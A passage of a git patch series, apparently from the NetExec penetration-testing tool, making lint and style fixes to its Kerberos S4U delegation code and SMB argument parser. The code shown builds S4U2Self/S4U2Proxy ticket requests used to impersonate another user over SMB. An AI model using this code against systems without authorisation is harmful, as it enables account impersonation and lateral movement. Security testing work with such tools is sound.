int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), + int(cipher.enctype) + ) + ) message = encoder.encode(tgs_req) nxc_logger.info("Requesting S4U2Proxy") @@ -275,9 +272,9 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - #return r, cipher, session_key, new_session_key + # return r, cipher, session_key, new_session_key tgs_formated = dict() tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher tgs_formated["sessionKey"] = new_session_key - return tgs_formated \ No newline at end of file + return tgs_formated From 2c1f30a276f792b3dc21def8fded8ec2d69cdcbd Mon Sep 17 00:00:00 2001 From: zblurx Date: Wed, 1 Nov 2023 19:47:38 +0100 Subject: [PATCH 10/10] fix ruff alerts --- nxc/protocols/smb.py | 2 +- nxc/protocols/smb/kerberos.py | 14 ++++++-------- nxc/protocols/smb/proto_args.py | 6 +++--- 3 files changed, 10 insertions(+), 12 deletions(-) diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 79178bb7..bd75796b 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -389,7 +389,7 @@ class smb(connection): kerb_pass = "" self.username = self.args.delegate serverName = Principal(f"cifs/{self.hostname}", type=constants.PrincipalNameType.NT_SRV_INST.value) - tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey,kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) + tgs = kerberos_login_with_S4U(domain, self.hostname, username, password, nthash, lmhash, aesKey, kdcHost, self.args.delegate, serverName, useCache, no_s4u2proxy=self.args.no_s4u2proxy) self.logger.debug(f"Got TGS for {self.args.delegate} through S4U") self.conn.kerberosLogin(self.username, password, domain, lmhash, nthash, aesKey, kdcHost, useCache=useCache, TGS=tgs) diff --git a/nxc/protocols/smb/kerberos.py b/nxc/protocols/smb/kerberos.py index 9de2d245..2a567fa1 100644 --- a/nxc/protocols/smb/kerberos.py +++ b/nxc/protocols/smb/kerberos.py @@ -41,7 +41,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash ap_req["pvno"] = 5 ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() + opts = [] ap_req["ap-options"] = constants.encodeFlags(opts) seq_set(ap_req, "ticket", ticket.to_asn1) @@ -112,7 +112,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body = seq_set(tgs_req, "req-body") - opts = list() + opts = [] opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.canonicalize.value) @@ -152,8 +152,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - # return r, cipher, session_key, new_session_key - tgs_formated = dict() + tgs_formated = {} tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher tgs_formated["sessionKey"] = new_session_key @@ -174,7 +173,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash ap_req["pvno"] = 5 ap_req["msg-type"] = int(constants.ApplicationTagNumbers.AP_REQ.value) - opts = list() + opts = [] ap_req["ap-options"] = constants.encodeFlags(opts) seq_set(ap_req, "ticket", ticket_tgt.to_asn1) @@ -224,7 +223,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash req_body = seq_set(tgs_req, "req-body") - opts = list() + opts = [] # This specified we"re doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) @@ -272,8 +271,7 @@ def kerberos_login_with_S4U(domain, hostname, username, password, nthash, lmhash # Creating new cipher based on received keytype cipher = _enctype_table[enc_tgs_rep_part["key"]["keytype"]] - # return r, cipher, session_key, new_session_key - tgs_formated = dict() + tgs_formated = {} tgs_formated["KDC_REP"] = r tgs_formated["cipher"] = cipher tgs_formated["sessionKey"] = new_session_key diff --git a/nxc/protocols/smb/proto_args.py b/nxc/protocols/smb/proto_args.py index 6cfb119a..85148472 100644 --- a/nxc/protocols/smb/proto_args.py +++ b/nxc/protocols/smb/proto_args.py @@ -83,13 +83,13 @@ def proto_args(parser, std_parser, module_parser): def get_conditional_action(baseAction): class ConditionalAction(baseAction): def __init__(self, option_strings, dest, **kwargs): - x = kwargs.pop('make_required', []) - super(ConditionalAction, self).__init__(option_strings, dest, **kwargs) + x = kwargs.pop("make_required", []) + super().__init__(option_strings, dest, **kwargs) self.make_required = x def __call__(self, parser, namespace, values, option_string=None): for x in self.make_required: x.required = True - super(ConditionalAction, self).__call__(parser, namespace, values, option_string) + super().__call__(parser, namespace, values, option_string) return ConditionalAction \ No newline at end of file